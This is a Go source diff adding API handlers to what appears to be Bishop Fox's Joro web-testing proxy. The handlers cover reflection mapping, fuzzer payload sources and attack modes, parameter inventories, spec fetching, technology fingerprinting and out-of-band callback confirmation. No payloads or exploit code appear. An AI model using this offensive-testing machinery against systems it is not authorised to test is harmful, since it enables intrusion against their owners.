s.detectEngine.SetConfig(cfg)
writeJSON(w, http.StatusOK, s.detectEngine.Config())
}
+222
View File
@@ -0,0 +1,222 @@
package api
import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/echo"
)
// echoAvailable rejects requests when reflection mapping is not wired, as in
// listener and team-server mode. The routes are also behind the proxy-mode gate
// in registerRoutes.
func (s *APIServer) echoAvailable(w http.ResponseWriter) bool {
if s.echoEngine == nil || s.echoStore == nil {
writeError(w, http.StatusNotFound, "reflection mapping is unavailable in this mode")
return false
}
return true
}
// handleGetEcho returns everything the tab needs on mount.
func (s *APIServer) handleGetEcho(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
cfg := s.echoEngine.Config()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": cfg.Enabled,
"config": cfg,
"summary": s.echoStore.Summary(),
"hosts": s.echoStore.Hosts(),
"scan": s.echoEngine.Status(),
})
}
func (s *APIServer) handleSetEchoEnabled(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.echoEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleGetEchoConfig(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.echoEngine.Config())
}
// echoConfigPatch is a pointer per field so a PUT can carry any subset, as
// detectConfigPatch does.
type echoConfigPatch struct {
Enabled *bool `json:"enabled"`
ScopeOnly *bool `json:"scopeOnly"`
MaxBodyScanBytes *int `json:"maxBodyScanBytes"`
MaxRequestBodyScanBytes *int `json:"maxRequestBodyScanBytes"`
MinValueLen *int `json:"minValueLen"`
MaxValuesPerRequest *int `json:"maxValuesPerRequest"`
MaxReflectionsPerRequest *int `json:"maxReflectionsPerRequest"`
TransformDepth *int `json:"transformDepth"`
Base64 *bool `json:"base64"`
ScanHeaders *bool `json:"scanHeaders"`
ExcludeHosts *[]string `json:"excludeHosts"`
}
func (s *APIServer) handleSetEchoConfig(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var p echoConfigPatch
if err := decodeJSON(r, &p); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
cfg := s.echoEngine.Config()
setBool(&cfg.Enabled, p.Enabled)
setBool(&cfg.ScopeOnly, p.ScopeOnly)
setInt(&cfg.MaxBodyScanBytes, p.MaxBodyScanBytes)
setInt(&cfg.MaxRequestBodyScanBytes, p.MaxRequestBodyScanBytes)
setInt(&cfg.MinValueLen, p.MinValueLen)
setInt(&cfg.MaxValuesPerRequest, p.MaxValuesPerRequest)
setInt(&cfg.MaxReflectionsPerRequest, p.MaxReflectionsPerRequest)
setInt(&cfg.TransformDepth, p.TransformDepth)
setBool(&cfg.Base64, p.Base64)
setBool(&cfg.ScanHeaders, p.ScanHeaders)
if p.ExcludeHosts != nil {
cfg.ExcludeHosts = *p.ExcludeHosts
}
s.echoEngine.SetConfig(cfg)
writeJSON(w, http.StatusOK, s.echoEngine.Config())
}
func setBool(dst *bool, v *bool) {
if v != nil {
*dst = *v
}
}
func setInt(dst *int, v *int) {
if v != nil {
*dst = *v
}
}
// handleListEchoParams returns a page of the map.
func (s *APIServer) handleListEchoParams(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
q := r.URL.Query()
f := echo.Filter{
Host: q.Get("host"),
Sources: splitCSV(q.Get("source")),
Contexts: splitCSV(q.Get("context")),
Transforms: splitCSV(q.Get("transform")),
BreakoutOnly: q.Get("breakout") == "true",
Search: q.Get("search"),
Sort: q.Get("sort"),
Dir: q.Get("dir"),
Limit: 100,
}
if v, err := strconv.Atoi(q.Get("offset")); err == nil && v >= 0 {
f.Offset = v
}
if q.Has("limit") {
if v, err := strconv.Atoi(q.Get("limit")); err == nil {
f.Limit = v
}
}
items, total := s.echoStore.List(f)
writeJSON(w, http.StatusOK, map[string]any{
"items": items, "total": total, "offset": f.Offset, "limit": f.Limit,
})
}
// handleGetEchoParam returns one row with its recent reflections.
func (s *APIServer) handleGetEchoParam(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
e, ok := s.echoStore.Entry(r.PathValue("id"))
if !ok {
writeError(w, http.StatusNotFound, "no such parameter")
return
}
writeJSON(w, http.StatusOK, e)
}
// handleGetEchoRequest returns one message's report, for the History pane. A
// request with no report is not an error: it may predate the feature being
// switched on, which the empty report says plainly.
func (s *APIServer) handleGetEchoRequest(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
id := r.PathValue("requestId")
rep, ok := s.echoStore.Report(id)
if !ok {
writeJSON(w, http.StatusOK, map[string]any{
"requestId": id, "analyzed": false, "reflections": []any{},
})
return
}
writeJSON(w, http.StatusOK, map[string]any{
"requestId": id, "analyzed": true, "report": rep,
})
}
func (s *APIServer) handleClearEcho(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
s.echoStore.Clear()
writeJSON(w, http.StatusOK, map[string]any{"cleared": true})
}
// handleStartEchoScan backfills the map from captured history. This is the
// common path: the feature is switched on after the interesting traffic has
// already been captured.
func (s *APIServer) handleStartEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var req echo.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.echoEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == echo.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
func (s *APIServer) handleGetEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.echoEngine.Status())
}
func (s *APIServer) handleCancelEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
s.echoEngine.Cancel()
writeJSON(w, http.StatusOK, s.echoEngine.Status())
}
+103
View File
@@ -0,0 +1,103 @@
package api
import (
"net/http"
"time"
"github.com/BishopFox/joro/internal/feeds"
)
// The threat-intel feed control plane. UI-only, proxy-mode only.
//
// Routes are registered unconditionally and gated here on requireFeeds, for the same reason
// the webhook and automation planes are: an unregistered route falls through to the SPA
// catch-all and answers 200 with HTML rather than 404 with JSON. There are no secrets to
// redact — a feed snapshot is public intelligence — so unlike webhooks every field goes out
// as stored.
// requireFeeds reports whether the aggregator is available, writing the JSON 404 if not. The
// message names which off-state it is: --no-feeds (a posture) versus an unreadable feeds.json
// (a fault).
func (s *APIServer) requireFeeds(w http.ResponseWriter) *feeds.Aggregator {
if s.cfg.NoFeeds {
writeError(w, http.StatusNotFound,
"threat-intel feeds are disabled on this instance; it was started with --no-feeds")
return nil
}
if s.feeds == nil || s.feedsStore == nil {
writeError(w, http.StatusNotFound,
"threat-intel feeds are unavailable on this instance; see the startup log for why "+
"~/.joro/feeds.json could not be read")
return nil
}
return s.feeds
}
// feedsResponse is the whole feed view: the operator's settings plus the current snapshot.
type feedsResponse struct {
Settings feeds.State `json:"settings"`
Snapshot feeds.Snapshot `json:"snapshot"`
}
// handleGetFeeds returns settings + snapshot. Served even while feeds are disabled (Enabled
// false, empty items), so the UI can render its "enable" state from one call.
func (s *APIServer) handleGetFeeds(w http.ResponseWriter, r *http.Request) {
agg := s.requireFeeds(w)
if agg == nil {
return
}
writeJSON(w, http.StatusOK, feedsResponse{
Settings: s.feedsStore.Get(),
Snapshot: agg.Snapshot(),
})
}
func (s *APIServer) handleGetFeedsSettings(w http.ResponseWriter, r *http.Request) {
if s.requireFeeds(w) == nil {
return
}
writeJSON(w, http.StatusOK, s.feedsStore.Get())
}
// handleSetFeedsSettings validates and persists settings (the store floors the interval), and
// on an off->on flip kicks an immediate refresh so the dashboard fills without waiting for the
// loop's next pass.
func (s *APIServer) handleSetFeedsSettings(w http.ResponseWriter, r *http.Request) {
if s.requireFeeds(w) == nil {
return
}
var in feeds.State
if err := decodeJSON(r, &in); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
prev := s.feedsStore.Get()
next, err := s.feedsStore.Set(in)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if next.Enabled && !prev.Enabled {
go s.refreshFeedsTick(s.feedsContext())
}
writeJSON(w, http.StatusOK, next)
}
// handleRefreshFeeds triggers an out-of-band refresh, debounced server-side so a UI button
// cannot push NVD past its rate limit regardless of the client.
func (s *APIServer) handleRefreshFeeds(w http.ResponseWriter, r *http.Request) {
agg := s.requireFeeds(w)
if agg == nil {
return
}
if !s.feedsStore.Get().Enabled {
writeError(w, http.StatusConflict, "threat-intel feeds are turned off; enable them first")
return
}
if !agg.TryBeginManual(60 * time.Second) {
writeError(w, http.StatusTooManyRequests, "feeds were refreshed moments ago; try again shortly")
return
}
go s.refreshFeedsTick(s.feedsContext())
writeJSON(w, http.StatusAccepted, map[string]string{"status": "refreshing"})
}
+109 -17
View File
@@ -22,6 +22,8 @@ type fuzzerStartRequest struct {
Host string `json:"host"`
Wordlist []string `json:"wordlist"` // Single-position wordlist
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
Source *fuzzer.PayloadSource `json:"source,omitempty"` // Single-position / spray: a built-in list or generator, resolved server-side
Sources map[string]fuzzer.PayloadSource `json:"sources,omitempty"` // Split/yolo: a source per position; absent ones fall back to Wordlists
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
Threads int `json:"threads"`
RateLimit float64 `json:"rateLimit"`
@@ -93,12 +95,22 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
}
if len(positions) <= 1 {
// Single-position mode
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Single-position mode. A source (built-in list or generator) resolves
// server-side; otherwise the inline wordlist is used as-is.
if req.Source != nil {
wl, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
cfg.Wordlist = wl
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
cfg.Wordlist = req.Wordlist
}
cfg.Wordlist = req.Wordlist
} else {
// Multi-position mode
mode := fuzzer.AttackMode(req.AttackMode)
@@ -109,30 +121,46 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
cfg.AttackMode = mode
if mode == fuzzer.AttackSpray {
// Spray: single wordlist used for all positions
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Spray: single wordlist (or source) used for all positions
var wl []string
if req.Source != nil {
resolved, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
wl = resolved
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
wl = req.Wordlist
}
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
cfg.Wordlists[pos] = req.Wordlist
cfg.Wordlists[pos] = wl
}
} else {
// Split/Yolo: require a wordlist for each position
if len(req.Wordlists) == 0 {
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
return
}
// Split/Yolo: each position takes a resolved source or an inline wordlist
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
if src, ok := req.Sources[pos]; ok {
resolved, err := src.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("position %s: %v", pos, err))
return
}
cfg.Wordlists[pos] = resolved
continue
}
wl, ok := req.Wordlists[pos]
if !ok || len(wl) == 0 {
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
return
}
_ = wl
cfg.Wordlists[pos] = wl
}
cfg.Wordlists = req.Wordlists
// Safety limit for yolo mode
if mode == fuzzer.AttackYolo {
@@ -335,3 +363,67 @@ func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Re
"count": len(lines),
})
}
// handleFuzzerListWordlists returns the catalog of built-in lists and generators.
// Built-in list contents are never sent — only a count — so the picker shows size
// without shipping the payloads twice.
func (s *APIServer) handleFuzzerListWordlists(w http.ResponseWriter, r *http.Request) {
type builtinDTO struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
Category string `json:"category"`
Count int `json:"count"`
}
lists := fuzzer.BuiltinLists()
builtins := make([]builtinDTO, 0, len(lists))
for _, l := range lists {
builtins = append(builtins, builtinDTO{
ID: l.ID, Label: l.Label, Description: l.Description,
Category: l.Category, Count: len(l.Values),
})
}
writeJSON(w, http.StatusOK, map[string]any{
"builtins": builtins,
"generators": fuzzer.Generators(),
})
}
// handleFuzzerPreviewSource resolves a payload source and returns its size plus a
// small sample, so the editor can show "~N payloads — a, b, c, ..." live. It
// reuses the same resolver and cap as a real campaign start.
func (s *APIServer) handleFuzzerPreviewSource(w http.ResponseWriter, r *http.Request) {
if !requireLocalOrigin(w, r) {
return
}
var src fuzzer.PayloadSource
if err := decodeJSON(r, &src); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
count, err := src.Count()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
resp := map[string]any{
"count": count,
"sample": []string{},
"exceedsLimit": count > fuzzer.MaxGeneratedPayloads, // cannot be run
}
// Only materialize for the sample when the list is small enough that doing so
// on a debounced keystroke is cheap; the count alone covers the rest.
const previewSampleCap = 100_000
if count > 0 && count <= previewSampleCap {
full, err := src.Resolve(previewSampleCap)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if len(full) > 20 {
full = full[:20]
}
resp["sample"] = full
}
writeJSON(w, http.StatusOK, resp)
}
+16
View File
@@ -60,6 +60,22 @@ func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request)
writeJSON(w, http.StatusCreated, rule)
}
func (s *APIServer) handleSetReplaceRuleEnabled(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if !s.replace.SetRuleEnabled(id, body.Enabled) {
writeError(w, http.StatusNotFound, "rule not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
func (s *APIServer) handleDeleteReplaceRule(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.replace.RemoveRule(id) {
+45
View File
@@ -5,6 +5,7 @@ import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
@@ -120,6 +121,35 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
})
}
// handleGetRequestParams lists every input one captured request carried — query,
// path segment, form field, JSON leaf, multipart field, cookie and header — as
// the one walker in the repo enumerates them. It is the per-request half of the
// site-map inventory and, like it, runs on demand and needs nothing from the
// reflection engine.
func (s *APIServer) handleGetRequestParams(w http.ResponseWriter, r *http.Request) {
item := s.store.Get(r.PathValue("id"))
if item == nil {
writeError(w, http.StatusNotFound, "request not found")
return
}
cfg := echo.DefaultConfig()
if s.echoEngine != nil {
cfg = s.echoEngine.Config()
}
cfg.Normalize()
params := echo.RequestParams(item, cfg)
writeJSON(w, http.StatusOK, map[string]any{
"requestId": item.ID,
"params": params,
// The walker stops at MaxValuesPerRequest without saying it did, so a full
// slice is the only signal available. A request carrying exactly the cap
// reports truncated, which is the safe direction to be wrong in.
"truncated": len(params) >= cfg.MaxValuesPerRequest,
})
}
func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request) {
s.store.Clear()
// Clear zeroes the store's sequence counter, so the detection cursor must be
@@ -128,3 +158,18 @@ func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request)
s.clearDetectFindingsWithHistory()
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
// handleDeleteRequestsByHost removes captured requests whose host matches a glob,
// the "clear what is already captured" companion to adding a noise pattern. The
// required "pattern" query param is the host glob (filepath.Match), the same value
// stored as the noise pattern. Removing the requests also drops them from the site
// map, which is derived from the same store.
func (s *APIServer) handleDeleteRequestsByHost(w http.ResponseWriter, r *http.Request) {
pattern := r.URL.Query().Get("pattern")
if pattern == "" {
writeError(w, http.StatusBadRequest, "pattern is required")
return
}
removed := s.store.DeleteByHostPattern(pattern)
writeJSON(w, http.StatusOK, map[string]int{"deleted": removed})
}
+86 -1
View File
@@ -1,6 +1,16 @@
package api
import "net/http"
import (
"net/http"
"net/url"
"github.com/BishopFox/joro/internal/echo"
)
// maxInventoryRequests bounds the walk behind a parameter inventory. History
// holds thousands of requests and a hot endpoint can hold most of them, so the
// newest slice is walked and the response says so rather than the pane stalling.
const maxInventoryRequests = 1000
func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
f := s.requestFilterFromQuery(r)
@@ -8,6 +18,81 @@ func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]any{"hosts": hosts})
}
// handleGetSitemapParams inventories the parameters behind a site-map node: every
// input its requests carried, across every source, with counts. It takes the same
// request filters as handleGetSitemap, so the pane describes the node the operator
// clicked in the tree they are looking at.
//
// The node is named by "origin", not by "host" as handleDeleteSitemap names it.
// This endpoint also parses the shared request filters, where "host" already means
// a case-insensitive substring of the captured Host header — and an origin carries
// a scheme, so it is never a substring of one. Reusing the name here would filter
// every request away and report an endpoint with no parameters rather than fail.
//
// The walk is on demand and depends on nothing the reflection engine does: it
// answers for an operator who has never switched Echo on, which is the default.
func (s *APIServer) handleGetSitemapParams(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
origin := q.Get("origin")
if origin == "" {
writeError(w, http.StatusBadRequest, "origin is required")
return
}
matchPath := q.Has("path")
path := q.Get("path")
reqs := s.store.NodeRequests(origin, path, matchPath, s.requestFilterFromQuery(r))
total := len(reqs)
walked := reqs
if len(walked) > maxInventoryRequests {
walked = walked[:maxInventoryRequests]
}
// The engine's configuration when it is wired, so the operator's body-scan
// bounds apply; defaults otherwise, because the inventory has to work wherever
// the site map does.
cfg := echo.DefaultConfig()
if s.echoEngine != nil {
cfg = s.echoEngine.Config()
}
rows := echo.Inventory(walked, cfg)
s.markReflected(origin, rows)
writeJSON(w, http.StatusOK, map[string]any{
"origin": origin,
"path": path,
"requests": total,
"walked": len(walked),
"truncated": len(walked) < total,
"params": rows,
})
}
// markReflected flags the rows reflection mapping has already seen come back.
//
// The join key is the bare host. A site-map origin is scheme://host[:port] while
// echo keys an entry on detect.Message.Host, which is url.URL.Host — no scheme.
// Passing the origin through would hash a string no entry ever uses and leave
// every row silently unreflected.
func (s *APIServer) markReflected(origin string, rows []echo.ParamRow) {
if s.echoStore == nil {
return
}
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return
}
for i := range rows {
e, ok := s.echoStore.Entry(echo.EntryID(u.Host, rows[i].Source, rows[i].Name))
if !ok {
continue
}
rows[i].Reflected = true
rows[i].Breakouts = e.Breakouts
}
}
// handleDeleteSitemap removes the captured requests behind a site-map node. A
// "host" query param (origin, scheme://host[:port]) is required. An optional
// "path" param scopes the deletion to a single endpoint; when it is present the
+45 -19
View File
@@ -21,6 +21,11 @@ type specLoadRequest struct {
Text string `json:"text"` // the document verbatim
URL string `json:"url"` // fetched through Joro's proxy
Name string `json:"name"`
// UserAgent is the tab's, when a tab is doing the loading — a discovery
// sweep probes with it, so the fetch of what it found uses it too. Empty on
// a first load, where no tab exists yet.
UserAgent string `json:"userAgent,omitempty"`
}
// handleSpecLoad parses a document and stores it.
@@ -51,7 +56,7 @@ func (s *APIServer) handleSpecLoad(w http.ResponseWriter, r *http.Request) {
data = []byte(req.Text)
sourceURL = req.URL
case req.URL != "":
fetched, ct, err := s.fetchSpecViaProxy(r, req.URL)
fetched, ct, err := s.fetchSpecViaProxy(r, req.URL, req.UserAgent)
if err != nil {
writeError(w, http.StatusBadGateway, err.Error())
return
@@ -87,7 +92,7 @@ func (s *APIServer) handleSpecLoad(w http.ResponseWriter, r *http.Request) {
// is captured into History, filtered by scope and routed through SOCKS exactly
// as browser traffic is — and so the document is recoverable later from History
// without re-fetching it.
func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL string) ([]byte, string, error) {
func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL, userAgent string) ([]byte, string, error) {
u, err := url.Parse(strings.TrimSpace(rawURL))
if err != nil || u.Host == "" {
return nil, "", fmt.Errorf("could not parse %q as a URL", rawURL)
@@ -97,10 +102,10 @@ func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL string) ([]byte, s
}
target := u.RequestURI()
// The default rather than an operator value: a load carries no profile and
// no tab exists yet to have set one.
// A load carries no profile, so the tab's User-Agent is the only operator
// value there is; UserAgentOr falls back for the first load, which has none.
raw := "GET " + target + " HTTP/1.1\r\nHost: " + u.Host + "\r\n" +
"User-Agent: " + apispec.DefaultUserAgent + "\r\n" +
"User-Agent: " + apispec.UserAgentOr(userAgent) + "\r\n" +
"Accept: application/json, text/yaml, application/yaml, */*\r\n\r\n"
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
@@ -135,11 +140,13 @@ func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL string) ([]byte, s
// notADocument builds the hint returned when a URL served something that is not
// a description document.
//
// The most common case by far is a Swagger UI page: Joro's own detect rule
// flags those under the same finding as a real document, because its pattern
// matches the string "swagger-ui". Answering "that is the UI, and here is where
// it usually loads its document from" turns the most common failure into the
// next action rather than a dead end.
// When the page is an API-documentation UI (Swagger UI and its siblings all
// embed or name the document they render), the hint names it and offers the
// references it loads from — the most common failure becomes the next action.
// A plain HTML page names nothing, so following its own scripts would list the
// site's analytics and bundles as if they were documents; it is offered the
// well-known document paths to sweep instead. The two are told apart by the
// bytes, not assumed from "this is HTML", so neither verdict overclaims.
func notADocument(body []byte, contentType, sourceURL string) map[string]any {
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") ||
apispec.LooksLikeHTMLDocument(body)
@@ -147,24 +154,43 @@ func notADocument(body []byte, contentType, sourceURL string) map[string]any {
return nil
}
candidates := apispec.ExtractSpecRefs(body, sourceURL)
if len(candidates) == 0 {
for _, p := range apispec.CandidatePaths("", apispec.CandidatePriority) {
candidates = append(candidates, p)
if len(candidates) >= 12 {
break
}
if ui := apispec.DetectDocUI(body); ui != "" {
candidates := apispec.ExtractSpecRefs(body, sourceURL)
if len(candidates) == 0 {
candidates = priorityCandidates()
}
return map[string]any{
"error": fmt.Sprintf("that URL served the %s page, not an API description document — these are the paths it loads from", ui),
"kind": "html",
"ui": ui,
"contentType": contentType,
"sourceUrl": sourceURL,
"candidates": candidates,
}
}
return map[string]any{
"error": "that URL served an HTML page, not an API description document",
"error": "that URL served an HTML page, not an API description document — try these well-known document paths on this host",
"kind": "html",
"ui": "",
"contentType": contentType,
"sourceUrl": sourceURL,
"candidates": candidates,
"candidates": priorityCandidates(),
}
}
// priorityCandidates is the head of the standard discovery wordlist, offered as
// paths to try when a page names no document of its own.
func priorityCandidates() []string {
var out []string
for _, p := range apispec.CandidatePaths("", apispec.CandidatePriority) {
out = append(out, p)
if len(out) >= 12 {
break
}
}
return out
}
func (s *APIServer) handleSpecList(w http.ResponseWriter, r *http.Request) {
type summary struct {
ID string `json:"id"`
+110
View File
@@ -0,0 +1,110 @@
package api
import (
"net/http"
"github.com/BishopFox/joro/internal/techfp"
)
// techStore returns the fingerprint store, or nil when fingerprinting is not
// wired (listener/team-server mode). The active-scan rule reads it to gate checks.
func (s *APIServer) techStore() *techfp.Store {
if s.techEngine == nil {
return nil
}
return s.techEngine.Store()
}
// techAvailable rejects requests when fingerprinting is not wired, as in listener
// and team-server mode. The routes are also behind the proxy-mode gate in
// registerRoutes.
func (s *APIServer) techAvailable(w http.ResponseWriter) bool {
if s.techEngine == nil {
writeError(w, http.StatusNotFound, "technology fingerprinting is unavailable in this mode")
return false
}
return true
}
// handleListTechHosts returns every fingerprinted host and the summary counts.
func (s *APIServer) handleListTechHosts(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
hosts, techs := s.techEngine.Store().Summary()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.techEngine.Enabled(),
"hosts": s.techEngine.Store().Hosts(),
"summary": map[string]int{"hosts": hosts, "techs": techs},
"scan": s.techEngine.Status(),
})
}
// handleStartTechScan re-fingerprints captured history (all hosts, or one when
// scope is "host"). Backfills a loaded project's hosts, which the live cursor skips.
func (s *APIServer) handleStartTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var req techfp.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.techEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == techfp.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
// handleGetTechScan returns the current rescan status.
func (s *APIServer) handleGetTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleCancelTechScan stops a running rescan.
func (s *APIServer) handleCancelTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
s.techEngine.Cancel()
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleGetTechHost returns one host's technology set.
func (s *APIServer) handleGetTechHost(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
ht, ok := s.techEngine.Store().Host(r.PathValue("host"))
if !ok {
writeError(w, http.StatusNotFound, "no technologies recorded for this host")
return
}
writeJSON(w, http.StatusOK, ht)
}
// handleSetTechEnabled toggles passive fingerprinting.
func (s *APIServer) handleSetTechEnabled(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.techEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
+97
View File
@@ -0,0 +1,97 @@
package api
import (
"context"
"encoding/json"
"net/http"
"strings"
"time"
)
// StartOASTLoop launches the out-of-band confirmer and the domain refresher. Like
// the echo and tech loops it runs unconditionally and no-ops per cycle while the
// callback domain is unknown, so configuring a listener later needs no restart.
func (s *APIServer) StartOASTLoop(ctx context.Context) {
if s.oastEngine == nil {
return
}
go s.oastEngine.Run(ctx)
go s.refreshOASTDomain(ctx)
}
// callbackDomainForOAST is the domain the confirmer harvests callback tokens
// under. Read every cycle so a domain learned from the listener takes effect live.
func (s *APIServer) callbackDomainForOAST() string {
s.mu.RLock()
defer s.mu.RUnlock()
return s.oastDomain
}
// refreshOASTDomain keeps oastDomain current. A local --domain is authoritative
// and needs no fetch; otherwise, when a listener URL is configured, it fills the
// domain in from the listener's callback config on an interval. Best-effort: a
// failed or unconfigured fetch simply leaves the confirmer idle.
func (s *APIServer) refreshOASTDomain(ctx context.Context) {
s.mu.RLock()
local := s.cfg.CallbackDomain
s.mu.RUnlock()
if local != "" {
return
}
t := time.NewTicker(30 * time.Second)
defer t.Stop()
s.fetchOASTDomain(ctx)
for {
select {
case <-ctx.Done():
return
case <-t.C:
s.fetchOASTDomain(ctx)
}
}
}
// fetchOASTDomain reads the callback domain from the configured listener and
// caches it. No-op when no listener URL is set.
func (s *APIServer) fetchOASTDomain(ctx context.Context) {
s.mu.RLock()
listenerURL := s.settings.ListenerURL
teamToken := s.settings.TeamToken
teamNickname := s.settings.TeamNickname
s.mu.RUnlock()
if listenerURL == "" {
return
}
url := strings.TrimRight(listenerURL, "/") + "/api/v1/callbacks/config"
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
if err != nil {
return
}
if teamToken != "" {
req.Header.Set("Authorization", "Bearer "+teamToken)
}
if teamNickname != "" {
req.Header.Set("X-Joro-Nickname", teamNickname)
}
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return
}
var cfg struct {
Domain string `json:"domain"`
}
if json.NewDecoder(resp.Body).Decode(&cfg) != nil || cfg.Domain == "" {
return
}
s.mu.Lock()
s.oastDomain = cfg.Domain
s.mu.Unlock()
}
+62
View File
@@ -26,6 +26,7 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/callbacks/interactions", s.handleListInteractions)
mux.HandleFunc("DELETE /api/v1/callbacks/interactions", s.handleClearInteractions)
mux.HandleFunc("GET /api/v1/callbacks/config", s.handleGetCallbackConfig)
mux.HandleFunc("POST /api/v1/callbacks/verify", s.handleVerifyCallback)
// XSS Hunter routes (both modes - handler logic differs per mode)
mux.HandleFunc("GET /api/v1/xss/probes", s.handleListProbes)
@@ -80,11 +81,16 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
// Sitemap
mux.HandleFunc("GET /api/v1/sitemap", s.handleGetSitemap)
mux.HandleFunc("DELETE /api/v1/sitemap", s.handleDeleteSitemap)
// The parameter inventory behind a node. UI-only for the reason stated on the
// echo block below: a row names a parameter and an example of its value.
